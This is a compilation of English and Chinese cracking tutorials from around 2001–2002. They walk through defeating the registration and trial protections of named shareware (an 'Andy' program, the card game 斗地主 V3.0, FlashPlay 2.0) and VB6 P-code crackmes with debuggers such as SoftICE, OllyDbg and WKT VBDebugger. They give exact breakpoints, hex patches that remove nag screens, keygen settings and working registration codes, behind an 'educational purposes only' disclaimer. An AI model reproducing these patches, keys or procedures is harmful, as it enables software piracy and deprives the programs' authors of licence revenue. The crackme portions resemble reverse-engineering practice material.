: S 0 L FFFFFFFFFFFFFFF F3 66 A7 74 05 1B C0 [enter]
Pattern found at 0167:653C2E2E (653C2E2E)

: bd * [enter]
: bpx 0167:653C2E2E [enter]
Press F5 to let SoftIce break into new location

If nothing goes wrong you'll break at these below snippet
codes :

EAX=00000000 EBX=00000010 ECX=00000008 ESI=0058A0F8
EDI=110085EC EBP=0077D96C ESP=0077D95C o d I s Z a P c
CS=015F DS=0167 SS=0167 ES=0167 FS=391F GS=0000
------------------------------dword-------------PROT---(0)--

0167:653C2E2E 74A766F3 83C01B05 167D457F .f.t........E}.
0167:653C2E3E 5E5FC033 10C2C95B EBFC4589 3._^[.....F..E..
0167:653C2E4E FC598BAF C2F6B3EB 4D8B0845 ..Y......t#.E..M
...
...
------------------------------------------------------------
015F:653C2E2C 33C0 XOR EAX,EAX
015F:653C2E2E F366A7 REPZ CMPSW <=== break here
015F:653C2E31 7405 JZ 653C2E38
...
____________________________________________________________
Break due to BPX #0167:653C2E2E

While break at 015F:653C2E2E, press F5 or F11 keys around
27 TIMES (!!!), during this action you'll see that value
in EDI register were changed.
At the 27th of pressing F5 key you'll see EDI=0057A638.
Now, it's time to check what is inside EDI and ESI
registers :

: d edi [enter] ==> did you see 1.2.5.1.-.2.2.1.1.-.6.9.2.1
at virtual address 0167:0057A638 ?
Write it down.

: d esi [enter] ==> your fake 7.3.8.8.1.0.5.0. at virtual
address 0167:0058BDF0

Upto this step I have no intention to continue tracing the
rest codes.
The above facts is too obvious that your fake code is
(being) compared with the real one.
It's your turn to check JZ instruction at 015F:653C2E31
whether brings you to beggar-off message or not.
Further, iam not sure whether the above REPZ CMPSW at
015F:653C2E2E is similar to Razzia's (VB3/4) comparison
address.

GIVE ME THE HELL YEAH

Let's register this program by keyed-in 1251-2211-6921
as your reg.code.
Click OK button .... there you're registered.

THE ROCK BASE HOUSE

The correct registration code is stored in the registry
as follows :
REGEDIT14
[HKEY_LOCAL_MACHINE\Software\Software.pair.com\Soft-Guard1.10
\=E 29}swj?S-$Fp.";7 2%P?";P$0]Xm5PTS`8"`_HI(PL$&%^\
LicensedUsers]
"User1"="Red Rackham"
"Code1"=",{{m,I{,I{$&{," <== 1251-2211-6921
"User2"="Virtual Realm"
"Code2"=",{{N{I{mI{w${7" <== 1231-1511-9801

Your registration code will also saved in the REGISTER.TXT
as follows :
Your Andy Registration Code is Listed Below.
You may Delete or Move this File.

Name: Red Rackham
Key: 1251-2211-6921

THE BONG HITS

00) * BPX HEAPFREE
01) * BPX 015F:004F653A
02) BPX 015F:653C2E2E

THERE IS NOTHING HINTS SO CLEAN & CLEAR AS IT
AS HELL 'ASTAGA' YEAH.

HELL YEAH GAME is OVER

Respect the Author and do not attempt to register this
program by using your own user name, unless you pay
US$20.00 for official licensing.

DON'T BE A LAMER BY DISTRIBUTING YOUR CRACK RELEASE
BASED ON THIS TUTORIAL.

============== D I S C L A I M E R =============
THIS PAPER IS NOT INTENDED TO VIOLATE COPYRIGHTS
LAW BUT EDUCATIONAL PURPOSES ONLY. I HOLD NO RES
PONSIBILITY ( IN ANY SHAPE WHATSOEVER ) OF THE
MIS-USE OF THIS MATERIAL. NO PARTS OF THIS PAPER
IS SOLD/RENT FOR COMMERCIAL NOR PERSONAL BENEFIT.

ASTAGA [CIA/TTM] tute-andy217.zip
[E0F] 8/30/01 12:30 AM
Tute Layout FREE VERSION C


VB PCODE程序破解纲要

 标 题:《VB PCODE程序破解纲要》 (987字)
发信人:小楼
时 间:2001-12-30 20:00:47
详细信息:
VB PCODE程序破解纲要

1. 不管VB程序是采用何种方法编译－－自然编译或pcode编译－－其根本还是建立在VB那几个dll文件上，这主要包括msvbvm60.dll与oleaut32.dll两个文件。
所以你应该努力学习上述2个文件中的函数及其应用。学习的方法有：
(1)利用wdasm反汇编msvbvm60.dll与oleaut32.dll，分析其反汇编结果
(2)利用smartcheck记录,作调试信息
(3)利用trw2000或softice动态跟踪
直到你能了解大部分的vb函数。

此时你具备了50%的能力。

2. 利用wkt vb pcode debugger进行动态跟踪， 从中进一步了解msvbvm60.dll与oleaut32.dll函数的应用；并通过exdec、wkt vb pcode debugger等相关工具加深自己对以上函数独特命名的理解。

这使你获得35%的能力。

3. 关于vb pcode程序断点设置的技巧
包括如何在wkt vb pcode debugger中设断；
如何在trw2000中设断；
如何利用softice设断(记得载入msvbvm60.nms或oleaut32.nms)。

这部分占15%。

充分学习上述纲要，破解vb pcode程序并不困难。

以上所述即为《VB PCODE研究》一文之纲要。特此字之。
感谢Aming兄指正！


VB6 PCODE的crackme

 标 题:四个简单的VB6 PCODE的crackme的2 Nag, 2 Code的破解。 (5千字)
发信人:pCODE
时 间:2001-10-14 15:45:55
详细信息:
四个简单的VB6 PCODE的crackme的2 Nag, 2 Code的破解。
http://person.longcity.net/home3/fpxfpx/crackme/a-d/ac178-vbcol.zip
2 Nag, 2 Code (VB6 PCODE)
tools：exdec818
=====================================================================
1、AC_Crackme_01.exe ===>remove nag with exdec818
=====================================================================
Proc: 401a74
401A48: 27 LitVar_Missing ---------->用hiew32找401A48把27改13即可
401A4B: 27 LitVar_Missing
401A4E: 27 LitVar_Missing
401A51: f5 LitI4: 0x0 0 (....)
401A56: 3a LitVarStr: ( local_0094 ) NAG
401A5B: 4e FStVarCopyObj local_00A4
401A5E: 04 FLdRfVar local_00A4
401A61: 0a ImpAdCallFPR4: rtcMsgBox
401A66: 36 FFreeVar
401A71: 13 ExitProcHresult

=====================================================================
2、AC_Crackme_01_A.exe ===>remove nag with exdec818
=====================================================================
Proc: 401e30
401DE8: 27 LitVar_Missing ---------->用hiew32找401DE8把27fcfe改为1e1e00及Branch: 401e06
401DEB: 27 LitVar_Missing
401DEE: 27 LitVar_Missing
401DF1: f5 LitI4: 0x0 0 (....)
401DF6: 3a LitVarStr: ( local_0094 ) Another NAG
401DFB: 4e FStVarCopyObj local_00A4
401DFE: 04 FLdRfVar local_00A4
401E01: 0a ImpAdCallFPR4: rtcMsgBox
401E06: 36 FFreeVar
401E11: 08 FLdPr local_param_0008
401E14: 0d VCallHresult 禚d
401E19: 27 LitVar_Missing
401E1C: 25 PopAdLdVar
401E1D: 27 LitVar_Missing
401E20: 25 PopAdLdVar
401E21: 05 ImpAdLdRf: 40201c
401E24: 24 NewIfNullPr 401304 (Done)
401E27: 0d VCallHresult meth__imethSHOW
401E2C: 13 ExitProcHresult

注：用上述方法可去除第2个NAG，但第1个NAG我去除不了，因它没编译为Pcode！
哪位大虾可搞定它？请帮忙！
=====================================================================
3、AC_Crackme_02_A.exe ===>code crack with exdec818
=====================================================================
Proc: 401dd0
401D4C: 04 FLdRfVar local_0094
401D4F: 21 FLdPrThis
401D50: 0f VCallAd text
401D53: 19 FStAdFunc local_0090
401D56: 08 FLdPr local_0090
401D59: 0d VCallHresult get__ipropTEXTEDIT
401D5E: 3e FLdZeroAd local_0094
401D61: 31 FStStr local_008C
401D64: 1a FFree1Ad local_0090
401D67: 1b LitStr: ExDec_Roxx---------->cooooool code!
401D6A: 43 FStStrCopy local_0088
401D6D: 6c ILdRf local_0088
401D70: 6c ILdRf local_008C
401D73: Lead0/30 EqStr
401D75: 1c BranchF: 401DA4---------->如想改程序也可改此处，很好改的，试试吧！
401D78: 27 LitVar_Missing
401D7B: 27 LitVar_Missing
401D7E: 27 LitVar_Missing
401D81: f5 LitI4: 0x0 0 (....)
401D86: 3a LitVarStr: ( local_00A4 ) yess
401D8B: 4e FStVarCopyObj local_00B4
401D8E: 04 FLdRfVar local_00B4
401D91: 0a ImpAdCallFPR4: rtcMsgBox
401D96: 36 FFreeVar
401DA1: 1e Branch: 401dcd
401DA4: 27 LitVar_Missing
401DA7: 27 LitVar_Missing
401DAA: 27 LitVar_Missing
401DAD: f5 LitI4: 0x0 0 (....)
401DB2: 3a LitVarStr: ( local_00A4 ) fuxxor
401DB7: 4e FStVarCopyObj local_00B4
401DBA: 04 FLdRfVar local_00B4
401DBD: 0a ImpAdCallFPR4: rtcMsgBox
401DC2: 36 FFreeVar
401DCD: 13 ExitProcHresult
=====================================================================
4、AC_Crackme_02_B.exe ===>code crack with exdec818
=====================================================================
Proc: 401d50
401CCC: 04 FLdRfVar local_00AC
401CCF: 21 FLdPrThis
401CD0: 0f VCallAd text
401CD3: 19 FStAdFunc local_00A8
401CD6: 08 FLdPr local_00A8
401CD9: 0d VCallHresult get__ipropTEXTEDIT
401CDE: 3e FLdZeroAd local_00AC
401CE1: 46 CVarStr local_00BC
401CE4: Lead1/f6 FStVar
401CE8: 1a FFree1Ad local_00A8
401CEB: 04 FLdRfVar local_00A4
401CEE: 28 LitVarI2: ( local_00CC ) 0x3d6 (982)---------->cooooool code!
401CF3: 5d HardType
401CF4: Lead0/33 EqVarBool
401CF6: 1c BranchF: 401D25---------->如想改程序也可改此处，很好改的，试试吧！
401CF9: 27 LitVar_Missing
401CFC: 27 LitVar_Missing
401CFF: 27 LitVar_Missing
401D02: f5 LitI4: 0x0 0 (....)
401D07: 3a LitVarStr: ( local_00CC ) YaZZ
401D0C: 4e FStVarCopyObj local_00BC
401D0F: 04 FLdRfVar local_00BC
401D12: 0a ImpAdCallFPR4: rtcMsgBox
401D17: 36 FFreeVar
401D22: 1e Branch: 401d4e
401D25: 27 LitVar_Missing
401D28: 27 LitVar_Missing
401D2B: 27 LitVar_Missing
401D2E: f5 LitI4: 0x0 0 (....)
401D33: 3a LitVarStr: ( local_00CC ) Fuxer
401D38: 4e FStVarCopyObj local_00BC
401D3B: 04 FLdRfVar local_00BC
401D3E: 0a ImpAdCallFPR4: rtcMsgBox
401D43: 36 FFreeVar
=====================================================================


斗地主 V3.0 Build 215

 标 题:斗地主 V3.0 Build 215 注册码破解（VB6-Pcode 形式） (4千字)
发信人:paulyoung
时 间:2001-10-20 16:22:40
详细信息:
斗地主 V3.0 Build 215 注册码破解（VB6-Pcode 形式）

作者：PaulYoung[CCG]（属于中国破解组织 China Cracking Group）
软件：斗地主 V3.0 Build 215（一个比较有名的扑克游戏）
下载：http://61.128.193.30:8080/cgi-bin/dl.pl?url=ftp://61.128.193.30/soft/soft_games/ddz1.zip (1451 KB)
工具：Language 2000 v4.5.1.144,SoftICE v4.05
日期：2001-10-20

_________________________________________________________________________________________________

    呵……好久没写破文了，主要是因为本人水平太鸟，看雪论坛可谓高手云集，自己实在不好意思写。今天闲来无事，把网友求破的斗地主 V3.0 Build 215 的注册码给破了，随便写篇破文，不足之处，望各位高手莫要见笑。嘻…… *^_^*
    这个斗地主是一机一码形式，机器码是怎么生成的，留给高手们研究吧，哈……
    首先，用 Language 2000 侦测，可以知道这个软件是用VB6编写的，用 WKTVBDebugger 试试，居然还是讨厌的 P-code ，VB已经是非常讨厌了，居然还是 VB6-Pcode ，:~(
把你的 SoftICE 目录下的 WINICE.DAT 的　EXP=c:\windows\system\msvbvm60.dll　这行前面的" ; "去掉，不然就调试不了VB6了。（“这个还用你教！”　谁骂我！>:( ）
    现在当然是运行斗地主了，选注册，填写用户名、注册码（一定要10位，否则“确定”键不激活）。
    Ctrl+D 激活SoftICE，下 bpx msvbvm60!Rtcmsgbox ，F5退出，按“确定”，中断了，F10　单步跟踪（因为按一次F12已经出错了）……
    各位看官，请看……

015F:660EAB74 PUSH EBP　　　//你停在这里，下面一大段，大概是验证注册码是否为10位等……诸如此类的，不要管它。
015F:660EAB75 MOV EBP,ESP
015F:660EAB77 SUB ESP,4C
015F:660EAB7A MOV ECX,[EBP+14]
015F:660EAB7D PUSH EBX
015F:660EAB7E PUSH ESI
015F:660EAB7F PUSH EDI
015F:660EAB80 CMP WORD PTR [ECX],0A
015F:660EAB84 MOV EAX,80020004
015F:660EAB89 JNZ 660EAC8B
015F:660EAB8F CMP [ECX+08],EAX
015F:660EAB92 JNZ 660EAC8B
015F:660EAB98 OR DWORD PTR [EBP-04],-01
015F:660EAB9C XOR ESI,ESI
015F:660EAB9E MOV ECX,[EBP+18]
015F:660EABA1 CMP WORD PTR [ECX],0A
015F:660EABA5 JNZ 660EAC95
015F:660EABAB CMP [ECX+08],EAX
015F:660EABAE JNZ 660EAC95
015F:660EABB4 OR DWORD PTR [EBP-08],-01
015F:660EABB8 MOV EDI,[EBP+10]
015F:660EABBB CMP WORD PTR [EDI],0A
015F:660EABBF JNZ 660EAC9D
015F:660EABC5 CMP [EDI+08],EAX
015F:660EABC8 JNZ 660EAC9D
015F:660EABCE OR DWORD PTR [EBP-0C],-01
015F:660EABD2 PUSH DWORD PTR [EBP+08]
015F:660EABD5 LEA EAX,[EBP-2C]
015F:660EABD8 MOV [EBP-10],ESI
015F:660EABDB PUSH EAX
015F:660EABDC CALL 660EB086
015F:660EABE1 MOV EBX,EAX
015F:660EABE3 MOV EAX,[EBP-24]
015F:660EABE6 MOV [EBP-18],EAX
015F:660EABE9 MOV EAX,[EBP+0C]
015F:660EABEC AND EAX,0F
015F:660EABEF MOV [EBP-1C],EBX
015F:660EABF2 CMP AL,05
015F:660EABF4 JG 660EAC12
015F:660EABF6 MOV EAX,[EBP+0C]
015F:660EABF9 AND EAX,000000F0
015F:660EABFE CMP EAX,40
015F:660EAC01 JG 660EAC12
015F:660EAC03 MOV EAX,[EBP+0C]
015F:660EAC06 AND EAX,00000F00
015F:660EAC0B CMP EAX,00000300
015F:660EAC10 JLE 660EAC15
015F:660EAC12 MOV [EBP+0C],ESI
015F:660EAC15 CMP [EBP-0C],SI
015F:660EAC19 MOV ESI,[660019CC]
015F:660EAC1F JZ 660EACA5
015F:660EAC25 AND DWORD PTR [EBP+10],00
015F:660EAC29 AND DWORD PTR [EBP+08],00
015F:660EAC2D XOR EAX,EAX
015F:660EAC2F CMP [EBP-04],AX
015F:660EAC33 JZ 660EACE0
015F:660EAC39 CMP [EBP-08],AX
015F:660EAC3D JZ 660EACDA
015F:660EAC43 MOV [EBP-14],EAX
015F:660EAC46 XOR EDI,EDI
015F:660EAC48 MOV EDX,[EBP-18]
015F:660EAC4B TEST EDX,EDX
015F:660EAC4D JNZ 660EAC52
015F:660EAC4F LEA EDX,[EBP-10]
015F:660EAC52 MOV ECX,[EBP+08]
015F:660EAC55 TEST ECX,ECX
015F:660EAC57 JNZ 660EAC62
015F:660EAC59 CMP [EBP-0C],CX
015F:660EAC5D JNZ 660EAC62
015F:660EAC5F LEA ECX,[EBP-10]
015F:660EAC62 PUSH 01 //下 d ecx+8 （下面几个 PUSH 同样可以，随便你），ALT + ↑ 或 ALT + ↓ ，找找看……找不到？？耐心点！！！呵……找到了吧，看看是不是看到你的机器码、用户名、假注册码（当然，是WIDE格式的）！因为注册码是10位的，你留意一下，有一个10位的阿拉伯数字，不要怀疑，它就是你要的注册码。如我的为 " 6.8.3.6.7.6.0.0.1.4 "

015F:660EAC64 PUSH EAX
015F:660EAC65 PUSH EDI
015F:660EAC66 PUSH DWORD PTR [EBP+0C]
015F:660EAC69 PUSH ECX
015F:660EAC6A PUSH EDX
015F:660EAC6B CALL 660B33D6 //出错的 CALL...
015F:660EAC70 PUSH DWORD PTR [EBP-1C]
015F:660EAC73 MOV EDI,EAX

    注册成功信息放在注册表的 [HKEY_LOCAL_MACHINE\Software\DDZ\Infomation] 处。

    真感动，大家居然把我这篇“破”破文看到这里，呵……很菜很菜……浪费了大家不少时间。（有人要扁我，我要溜了！886……）

欢迎光临我的破解小站：Cracker 初体验
http://paulyoung2001.yeah.net
My QQ : 65827779　（不是破解爱好者不要 Q 我哦！）

作者：crackhl
软件：斗地主 (小草软件工作室 作者：祝向权)
工具：fi,Trw2000
____________________________________________________________________________________________
首先，用fi侦测，这个软件没有加壳。运行斗地主,点击注册
注册姓名：玩家 （必须填中文）
邮箱地址：crackhl@21cn.com
注册码：7878-7878-7878-7878
按下Ctrl+N呼叫出trw,下断点：bpx hmemcpy,按F5回到界面，按下马上注册，立即被trw拦截，清除断点：bc *,跳到程序：pmodule,按F12,58次（因为按59此就失败）
:00457698 A148A94500 mov eax, dword ptr [0045A948]
:0045769D E86A97FFFF call 00450E0C 〈------下d eax,看到假的注册码
:004576A2 A14CA94500 mov eax, dword ptr [0045A94C]
:004576A7 50 push eax 〈------下d eax,看到邮箱地址
:004576A8 8D45FC lea eax, dword ptr [ebp-04]
:004576AB 50 push eax
:004576AC 8B0D44A94500 mov ecx, dword ptr [0045A944]
:004576B2 8B55F8 mov edx, dword ptr [ebp-08]
:004576B5 A19CB94500 mov eax, dword ptr [0045B99C]
:004576BA E8CD8FFFFF call 0045068C
:004576BF 8D4DF4 lea ecx, dword ptr [ebp-0C]
:004576C2 8B55F8 mov edx, dword ptr [ebp-08]
:004576C5 8B45FC mov eax, dword ptr [ebp-04]
:004576C8 E84B98FFFF call 00450F18
:004576CD 8B55F4 mov edx, dword ptr [ebp-0C]
:004576D0 8D45FC lea eax, dword ptr [ebp-04] 〈------下d eax,看到真的注册码
:004576D3 E874C2FAFF call 0040394C

注册器：
用Keymake
中断地址：4576D0
中断次数：1
第一字节：8D
指令长度：3
内存方式：EDX

注册姓名：玩家
邮箱地址：crackhl@21cn.com
注册码：72T2-PYI8-98TQ-7MKT
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
E-mail:crackhl@21cn.com
QQ:86005867

标 题:斗地主3.0的快速找注册码的办法 (1千字)
发信人:whlj2001
时 间:2001-10-20 23:34:54
详细信息:

斗地主3.0的快速找注册码的办法

作者：whlj2001
工具：OllyDbg v1.04
这个软件的2.4版破解由大唐飞侠用OllyDbg破解并在论坛上发表过，到2.5版时有人说用这个方法不行了，其实是可以的，请看：
首先打开OllyDbg调试器，按F3键，找到DDZ.EXE，打开它运行，程序被中断，按F9继续，出现第一个Entry Point Alert 警告，是说'CNSMIN'模块入口点在代码外，不管它，按确定继续，出现第二个Entry Point Alert 警告，是说'MSVCRT20'模块入口点在代码外，按确定继续。
这时进入斗地主程序界面。打开帮助菜单，点“现在注册”，出现注册窗口，这里我的
机器码：DDZ3258972
填入注册名：周军
注册码：3141592678
先别急按确定键，回到OllyDbg调试界面，按Alt+E键,出现新窗口，将光标移到name为MSVBVM60那一行，双击鼠标左键，然后在调试器的第一个窗口按鼠标右键，移动光标到Search for ->Name(label)那一行，按下鼠标左键，出现一个新窗口，移动鼠标找到name为__vbastrcomp的那一行，按F2键设断点。
回到斗地主3.0界面，按下确定键，程序被中断，按2次F9键，在OllyDbg调试器的右下角窗口可以看到你输入的错误注册码：31415926和正确注册码：1443827498。
退出调试程序，重新运行斗地主程序进行注册，顺利完成。

后感：第一次写破文，觉着很别扭。如果BCG组织能公开他们的屏幕捕捉软件那该多好啊，这样的破解用S-recoder作出来一定很漂亮。如果没有破解工具的流传，就谈不上有好的破解方法；如果toye保守，就没有今天的书和论坛。

标 题:我来凑热闹，去掉此pcode的Nag!改一字节! (758字)
发信人:令猪冲
时 间:2001-10-21 14:08:30
详细信息:

TOOLS：WKTVBDEBUGGER V1.3e & HIEW32

......
......
00443382: 00 LargeBos
00443384: F4 LitI2_Byte: -> FFh 255
00443386: 98 FMemStI2
0044338B: 1E Branch 00443399-------->改跳到004433B0
0044338E: 00 LargeBos
00443390: 00 LargeBos
00443392: F4 LitI2_Byte: -> 0h 0
00443394: 98 FMemStI2
00443399: 00 LargeBos
0044339B: 00 LargeBos
0044339D: 27 LitVar_Missing 006DFAE4h
004433A0: 25 PopAdLdVar
004433A1: 27 LitVar_Missing 006DFB04h
004433A4: 25 PopAdLdVar
004433A5: 05 ImpAdLdRf
004433A8: 24 NewIfNullPr frmSplash 0040522C-------->Splash Nag
004433AB: 0D VCallHresult meth__imethSHOW -------->SHOW
004433B0: 00 LargeBos-------->跳到这里
......
......

用Hiew32找0044338B观察代码段

找：1e 69 07 00 02 00 09
改：-- 80 -- -- -- -- --


FlashPlay 2.0

 标 题:FlashPlay 2.0 2001 07破解(P-code，用WKT VBDebugger破的)~~~~~~~~ (8千字)
发信人:Sam.com
时 间:2002-1-20 3:23:26
详细信息:
破解目标：FlashPlay 2.0 2001 07
下载地址：http://zxmzjys.myetang.com
使用工具：Peid 0.7 (为什么Fi 2.49不能用了？大家是否都一样)
          Caspr 1.1
WKT VBDebugger (vbdebug13e.zip)
以上工具在阿伦的主页上有下载
破解原因：
我一直在玩Flash版的“百万裤窿”，但是怎么也拿不到一百万，同时我也有一些编译成exe文件的Flash，我想将它转换成swf文件，于是找到了FlashPlay，它的FlashTool可以将exe格式的Flash转换成swf格式的，而且还可以去除swf文件的一般保护和密码保护，如果不注册就会有限制，它一共有两个工具：FlashPlay是播放Flash的，FlashTool是转换格式的，不注册的话FlashPlay会有时间限制，FlashTool有运行次数限制，注册其中一个，另一个也同时成为注册版。

破解过程：
先用Peid查一下，两个文件都加了壳，用Caspr可以轻松搞掂，将脱了壳的文件改个好记的名，再用Peid查，FlashPlay是VB的，呵呵这东西我怕怕，先放着吧，FlashTool是VC的，就先试试它吧，用W32Dasm反编译，搞了半天，没什么结果，想想试试FlashPlay吧，我可以用SMARTCHK嘛，谁知一载入，提示说程序是P-code的，心就想放弃了，突然想到我有个WKT VBDebugger是专门对付P-code的，一直都没用过，就拿它试试吧。

首先将电脑的日期改成2001年7月，因为没注册它会提示你试用期过了，用WKT VBDebugger打开刚才脱了壳的FlashPlay，点击Execute鍵，程序运行，这时会先后出现两个对话框，一定要尽快在程序未进入主界面之前按下两个确定鍵，不然WKT VBDebugger的调试窗口就不会出现！好了，过了一会就进入了FlashPlay的主界面，并提示你注册，另外出现了一个全英文的窗口，中间很多文字是绿色的，它就是WKT VBDebugger的调试窗口了，下面介绍一下窗口的内容：

左上窗口为p-code的代码,右上窗是堆践窗口,左下是程序运行的结果
有几个按键常用的,其它的我讲不出来它的功能,Save Source是保存当前代码窗口里的代码,Save Messages保存运行结果,Form Manager可显示程序各个Form的资料,应该很有用的,Class Manager同上一样不过是显示Class的,API显示程序调用到的Api地址(双击可设断点),Opcodes显示OPcodes代码的地址(双击可设断点),On Execution是调试过程中的中断列表,其效果就象Trw的bl命令,Memory Dump等同于Trw的D和U命令,String Refs是程序的字串列表,不过没中文.

右边还有5个鍵是调试程序用的,分别对应热鍵F8,F12,F10,F5,F6,前四个的功能和Trw的功能是一样的,F6能让你指定调试时一次运行的行数.

      其实WKT VBDebugger看起来很复杂，使用上和其它的调试工具都差不多，只要你熟悉Trw和Ollydbg的使用就应该挺容易上手的。

      好了继续，首先把FlashPlay正在播放的动画停掉，以免影响我们的调试，然后点击注册窗口，上面有我的机器码，在下面填上个假的注册码676767676，按下确定鍵，什么反应都没有，接下来点击WKT VBDebugger的调试窗口，按下F12鍵，这时会回到FlashPlay的注册窗口里（如果这时你移动鼠标WKT VBDebugger就弹出来的话，请试多几次，它应该在你按下了注册确定鍵后才会跳出来的），按下注册确定鍵后WKT VBDebugger弹出来了，就像Trw一样，呵呵~~~~~~~你看看在代码窗里是否出现了下面的代码并且光标停在42B2FE处，如果是的话我就恭喜你啦~~~~~~~~~~~~~~~~

P-code代码（这就是P-code吗？我大大大部份都看不懂）
------------------------------------------------------------------
0042B2DF: FC Lead1/CStr2Uni
0042B2E1: 6C ILdRf 00000000h
0042B2E4: 04 FLdRfVar 0066F094h
0042B2E7: FC Lead1/CStr2Uni
0042B2E9: 6C ILdRf 00000001h
0042B2EC: 71 FStR4
0042B2EF: 32 FFreeStr
0042B2F8: 6C ILdRf 0C7A07FDh
0042B2FB: 71 FStR4
0042B2FE: 14 ExitProc <----从字面上看好像是退出一个Call，可能是ret吧，这里请按F8会往下跳
0042B2FF: FF Lead4/Unknow
0042B301: 99 FMemStI4
0042B306: 3C SetLastSystemError
0042B307: 00 LargeBos
0042B309: 00 LargeBos
0042B30B: 00 LargeBos
0042B30D: 00 LargeBos
0042B30F: 00 LargeBos
0042B311: 00 LargeBos
-----------------------------------------------------------------

0043005A: FE CStrI4 <-----跳到这里来了
0043005C: 31 FStStr <-----光标运行到此时,在结果窗口里会出现一串数字,请往下看"运行结果"的第2行(为了述说方便我在结果里编上了行号)这个可能是机器码之类的东西

0043005F: 2F FFree1Str
00430062: F5 LitI4: -> 1h 1
00430067: 04 FLdRfVar 0066F1B8h
0043006A: 4D CVarRef:
0043006F: 04 FLdRfVar 0066F18Ch
00430072: 0A ImpAdCallFPR4 rtcLeftCharVar on address 660248EEh
00430077: 04 FLdRfVar 0066F18Ch
0043007A: 3A LitVarStr '-'
0043007F: 5D HardType
00430080: 33 EqVarBool
00430082: 35 FFree1Var
00430085: 1C BranchF 004300AC (Jump <----这里一定要按F8, 我试过按F10程序就运行了,这样就跟不到下面的结果了,注意代码里的'Jump'是要光标运行到此行时才会出现的,下面的很多代码都是如此,大多都是些地址和数字之类的.

00430088: 6C ILdRf 0044FD38h
0043008B: 4A FnLenStr
0043008C: F5 LitI4: -> 1h 1
00430091: AE SubI4
00430092: 04 FLdRfVar 0066F1B8h
00430095: 4D CVarRef:
0043009A: 04 FLdRfVar 0066F18Ch
0043009D: 0A ImpAdCallFPR4 rtcRightCharVar on address 660EA4C5h
004300A2: 04 FLdRfVar 0066F18Ch
004300AC: 6C ILdRf 0044FD38h <-----跳到此,后面都可以用F10啦
004300AF: 4A FnLenStr
004300B0: FD Lead2/CVarI4
004300B4: FC Lead1/FStVar
004300B8: 1B LitStr: ''
004300BB: 43 FStStrCopy
004300BE: 6C ILdRf 00000000h
004300C1: 28 LitVarI2 1h , 1
004300C6: F5 LitI4: -> 9h 9
004300CB: 04 FLdRfVar 0066F1B8h
004300CE: 4D CVarRef:
004300D3: 04 FLdRfVar 0066F16Ch
004300D6: 0A ImpAdCallFPR4 rtcMidCharVar on address 660EA557h
004300DB: 04 FLdRfVar 0066F16Ch
004300DE: 28 LitVarI2 31h , 49
004300E3: 17 XorVar
004300E7: FC Lead1/CI4Var
004300E9: 0B ImpAdCallI2 rtcBstrFromAnsi on address 660E53B7h
004300EE: 23 FStStrNoPop <---运行到此,结果窗口出现了第3 行,注意那个'8'
004300F1: 2A ConcatStr <---出现第4行结果
004300F2: 31 FStStr <---第5行,先别管,往下看
004300F5: 2F FFree1Str
004300F8: 36 FFreeVar -> 2
004300FF: 6C ILdRf 00450834h
00430102: 28 LitVarI2 1h , 1
00430107: F5 LitI4: -> 2h 2
0043010C: 04 FLdRfVar 0066F1B8h
0043010F: 4D CVarRef:
00430114: 04 FLdRfVar 0066F16Ch
00430117: 0A ImpAdCallFPR4 rtcMidCharVar on address 660EA557h
0043011C: 04 FLdRfVar 0066F16Ch
0043011F: 28 LitVarI2 5Ah , 90
00430124: 17 XorVar
00430128: FC Lead1/CI4Var
0043012A: 0B ImpAdCallI2 rtcBstrFromAnsi on address 660E53B7h
0043012F: 23 FStStrNoPop <---出现第6行结果'Z'
00430132: 2A ConcatStr <---光标到此,代码后面会出现两个地址,注意结果8
00430133: 31 FStStr <---得到了一个字串'8Z'(第9行)
00430136: 2F FFree1Str
00430139: 36 FFreeVar -> 2
00430140: 6C ILdRf 00445E58h
00430143: 28 LitVarI2 1h , 1
00430148: F5 LitI4: -> 7h 7
0043014D: 04 FLdRfVar 0066F1B8h
00430150: 4D CVarRef:
00430155: 04 FLdRfVar 0066F16Ch
00430158: 0A ImpAdCallFPR4 rtcMidCharVar on address 660EA557h
0043015D: 04 FLdRfVar 0066F16Ch
00430160: 28 LitVarI2 78h , 120
00430165: 17 XorVar
00430169: FC Lead1/CI4Var
0043016B: 0B ImpAdCallI2 rtcBstrFromAnsi on address 660E53B7h
00430170: 23 FStStrNoPop
00430173: 2A ConcatStr
00430174: 31 FStStr
.
.中间省略,都是相似的代码,反正也看不懂
.
.
004302EF: FC Lead1/CI4Var
004302F1: 0B ImpAdCallI2 rtcBstrFromAnsi on address 660E53B7h
004302F6: 23 FStStrNoPop
004302F9: 2A ConcatStr
004302FA: 31 FStStr
004302FD: 2F FFree1Str
00430300: 36 FFreeVar -> 2
00430307: 6C ILdRf 0044EB80h
0043030A: 43 FStStrCopy
0043030D: 14 ExitProc <---运行到此,我们得到了一个字串'8ZxnxNP13',再按F10我们就跳回到FlashPlay了,试试这个字串,呵呵~~~~~就是它啦!我在另一台机上得到的是'1^}e{O\59'不用怀疑,就是它~~~~~

0043030E: FF Lead4/Unknow
00430310: 4C FnLBound
00430311: 99 FMemStI4
00430316: 84 IStI2
00430319: 02 LargeBos
0043031B: 00 LargeBos
0043031D: 00 LargeBos
0043031F: 00 LargeBos
00430321: 00 LargeBos
----------------------------------------------------------------

运行结果
----------------------------------------------------------------
1 Return reached.
2 FStStr -> '209324029'
3 FStStrNoPop -> '8'
4 Concat->'' + '8'
5 FStStr -> '8'
6 Freeing Addrs: 0066F18Ch 0066F16Ch
7 FStStrNoPop -> 'Z'
8 Concat->'8' + 'Z'
9 FStStr -> '8Z'
10 Freeing Addrs: 0066F18Ch 0066F16Ch
11 0043016B: 0B ImpAdCallI2 rtcBstrFromAnsi on address 660E53B7h
12 00430170: 23 FStStrNoPop
13 00430173: 2A ConcatStr
14 Freeing Addrs: 0066F18Ch 0066F16Ch
15 004301AC: 0B ImpAdCallI2 rtcBstrFromAnsi on address 660E53B7h
16 Concat->'8Zx' + 'n'
17 FStStr -> '8Zxn'
18 Freeing Addrs: 0066F18Ch 0066F16Ch
19 FStStrNoPop -> 'x'
20 Concat->'8Zxn' + 'x'
21 FStStr -> '8Zxnx'
22 Freeing Addrs: 0066F18Ch 0066F16Ch
23 FStStrNoPop -> 'N'
24 Concat->'8Zxnx' + 'N'
25 FStStr -> '8ZxnxN'
26 Freeing Addrs: 0066F18Ch 0066F16Ch
27 FStStrNoPop -> 'P'
28 Concat->'8ZxnxN' + 'P'
29 FStStr -> '8ZxnxNP'
30 Freeing Addrs: 0066F18Ch 0066F16Ch
31 FStStrNoPop -> '1'
32 Concat->'8ZxnxNP' + '1'
